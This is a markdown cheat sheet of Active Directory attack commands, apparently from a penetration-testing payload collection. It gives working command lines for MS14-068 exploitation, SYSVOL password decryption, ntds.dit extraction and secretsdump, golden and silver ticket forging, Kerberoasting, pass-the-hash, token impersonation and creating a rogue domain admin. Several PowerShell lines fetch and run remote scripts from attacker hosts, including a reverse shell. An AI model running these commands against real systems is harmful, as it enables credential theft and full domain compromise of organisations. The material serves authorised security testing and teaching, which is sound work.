# Active Directory Attacks ## Summary * [Tools](#tools) * [Most common paths to AD compromise](#most-common-paths-to-ad-compromise) * [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability) * [Open Shares](#open-shares) * [GPO - Pivoting with Local Admin & Passwords in SYSVOL](#gpo---pivoting-with-local-admin--passwords-in-sysvol) * [Dumping AD Domain Credentials](#dumping-ad-domain-credentials-systemrootntdsntdsdit) * [Password in AD User comment](#password-in-ad-user-comment) * [Golden Tickets](#passtheticket-golden-tickets) * [Silver Tickets](#passtheticket-silver-tickets) * [Trust Tickets](#trust-tickets) * [Kerberoast](#kerberoast) * [Pass-the-Hash](#pass-the-hash) * [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key) * [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage) * [Trust relationship between domains](#trust-relationship-between-domains) * [Privilege Escalation](#privilege-escalation) * [PrivEsc Local Admin - Token Impersonation (RottenPotato)](#privesc-local-admin---token-impersonation-rottenpotato) * [PrivEsc Local Admin - MS16-032](#privesc-local-admin---ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64) * [PrivEsc Local Admin - MS17-010 (Eternal Blue)](#privesc-local-admin---ms17-010-eternal-blue) * [From Local Admin to Domain Admin](#from-local-admin-to-domain-admin) ## Tools * [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows) * [Responder](https://github.com/SpiderLabs/Responder) * [Mimikatz](https://github.com/gentilkiwi/mimikatz) * [Ranger](https://github.com/funkandwagnalls/ranger) * [BloodHound](https://github.com/BloodHoundAD/BloodHound) ```powershell apt install bloodhound #kali neo4j console Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j ./bloodhound SharpHound.exe (from resources/Ingestor) or Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public ``` * [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) * [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) ```bash git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec crackmapexec smb -L crackmapexec smb -M name_module -o VAR=DATA crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443 crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload" crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami' ``` * [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) ```powershell powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks" powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');" ``` * [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script) ## Most common paths to AD compromise ### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) ```bash Exploit Python: https://www.exploit-db.com/exploits/35474/ Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068 Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum git clone https://github.com/bidord/pykek python ./ms14-068.py -u @ -s -d -p python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache" ``` ## Open Shares ```powershell pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share ls # list files cd get # download files put # replace a file ``` Mount a share ```powershell smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw ``` ### GPO - Pivoting with Local Admin & Passwords in SYSVOL :triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local Find password in SYSVOL ```powershell findstr /S /I cpassword \\\sysvol\\policies\*.xml ``` Decrypt a password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)) ```bash echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 e.g: echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 ``` Metasploit modules to enumerate shares and credentials ```c scanner/smb/smb_enumshares post/windows/gather/enum_shares post/windows/gather/credentials/gpp ``` Crackmapexec modules ```powershell cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password ``` List all GPO for a domain ```powershell Get-GPO -domaine DOMAIN.COM -all Get-GPOReport -all -reporttype xml --all Powersploit: Get-NetGPO Get-NetGPOGroup ``` ### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit) #### Using ndtsutil ```powershell C:\>ntdsutil ntdsutil: activate instance ntds ntdsutil: ifm ifm: create full c:\pentest ifm: quit ntdsutil: quit ``` #### Using Vshadow ```powershell vssadmin create shadow /for=C : Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit ``` You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) ```powershell Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\ ``` #### Using vssadmin ```powershell vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy ``` #### Using DiskShadow (a Windows signed binary) ```powershell diskshadow.txt contains : set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset then: NOTE - must be executed from C:\Windows\System32 diskshadow.exe /s c:\diskshadow.txt dir c:\exfil reg.exe save hklm\system c:\exfil\system.bak ``` #### Extract hashes from ntds.dit then you need to use secretsdump to extract the hashes ```java secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL ``` secretsdump also works remotely ```java ./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss ./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1 ``` #### Alternatives - modules Metasploit modules ```c windows/gather/credentials/domain_hashdump ``` PowerSploit module ```powershell Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit ``` CrackMapExec module ```powershell cme smb 10.10.0.202 -u username -p password --ntds vss ``` ### Password in AD User comment ```powershell enum4linux | grep -i desc There are 3-4 fields that seem to be common in most AD schemas: UserPassword, UnixUserPassword, unicodePwd and msSFU30Password. ``` ### PassTheTicket Golden Tickets Forging a TGT require the krbtgt key Mimikatz version ```powershell Get info - Mimikatz lsadump::dcsync /user:krbtgt lsadump::lsa /inject /name:krbtgt Forge a Golden ticket - Mimikatz kerberos::purge kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt kerberos::tgt ``` Meterpreter version ```powershell Get info - Meterpreter(kiwi) dcsync_ntlm krbtgt dcsync krbtgt Forge a Golden ticket - Meterpreter load kiwi golden_ticket_create -d -k -s -u -t golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck kerberos_ticket_purge kerberos_ticket_use /root/Downloads/pentestlabuser.tck kerberos_ticket_list ``` Using a ticket on Linux ```powershell Convert the ticket kirbi to ccache with kekeo misc::convert ccache ticket.kirbi Alternatively you can use ticketer from Impacket ./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519 ./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519 export KRB5CCNAME=/home/user/ticket.ccache cat $KRB5CCNAME NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file ./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100 ``` ### PassTheTicket Silver Tickets Forging a TGS require machine accound password (key) from the KDC ```powershell Create a ticket for the service kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE Then use the same steps as a Golden ticket misc::convert ccache ticket.kirbi export KRB5CCNAME=/home/user/ticket.ccache ./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100 ``` ### Trust Tickets TODO ### Kerberoast ```powershell https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/ https://room362.com/post/2016/kerberoast-pt1/ ./GetUserSPNS.py -request lab.ropnop.com/thoffman:Summer2017 (Impacket) Kerberoasting (ldap query, tgs in JTR format) ``` ### Pass-the-Hash The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. ```powershell use exploit/windows/smb/psexec set RHOST 10.2.0.3 set SMBUser jarrieta set SMBPass nastyCutt3r # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack. # NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee) set PAYLOAD windows/meterpreter/bind_tcp run shell or with crackmapexec cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami" also works with net range : cme smb 10.2.0.2/24 ... or with psexec proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d or with the builtin Windows RDP and mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin" ``` ### OverPass-the-Hash (pass the key) Request a TGT with only the NT hash ```powershell Using impacket ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com chmod 600 tgwynn.ccache also with the AES Key if you have it ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5 kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM klist ``` ### Dangerous Built-in Groups Usage AdminSDHolder ```powershell Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)" Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)" or ([adsisearcher]"(AdminCount=1)").findall() ``` ### Trust relationship between domains ```powershell nltest /trusted_domains ``` or ```powershell ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() SourceName TargetName TrustType TrustDirection ---------- ---------- --------- -------------- domainA.local domainB.local TreeRoot Bidirectional ``` ## Privilege Escalation ### PrivEsc Local Admin - Token Impersonation (RottenPotato) Binary available at : https://github.com/foxglovesec/RottenPotato Binary available at : https://github.com/breenmachine/RottenPotatoNG ```c getuid getprivs use incognito list\_tokens -u cd c:\temp\ execute -Hc -f ./rot.exe impersonate\_token "NT AUTHORITY\SYSTEM" ``` ```powershell Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser" Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM" Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};" ``` ### PrivEsc Local Admin - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) Check if the patch is installed : `wmic qfe list | find "3139914"` ```powershell Powershell: https://www.exploit-db.com/exploits/39719/ https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 Binary exe : https://github.com/Meatballs1/ms16-032 Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc ``` ### PrivEsc Local Admin - MS17-010 (Eternal Blue) ```c nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17–010 ``` ### From Local Admin to Domain Admin ```powershell net user hacker2 hacker123 /add /Domain net group "Domain Admins" hacker2 /add /domain ``` ## Documentation / Thanks to * [https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html](https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html) * [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa) * [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288) * [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/) * [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/) * [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html) * [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html) * [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/) * [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/) * [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/) * [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/) * [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/) * [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/) * [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/) * [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/) * [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments) * [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/) * [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/) * [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/) * [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf) * [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/) * [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)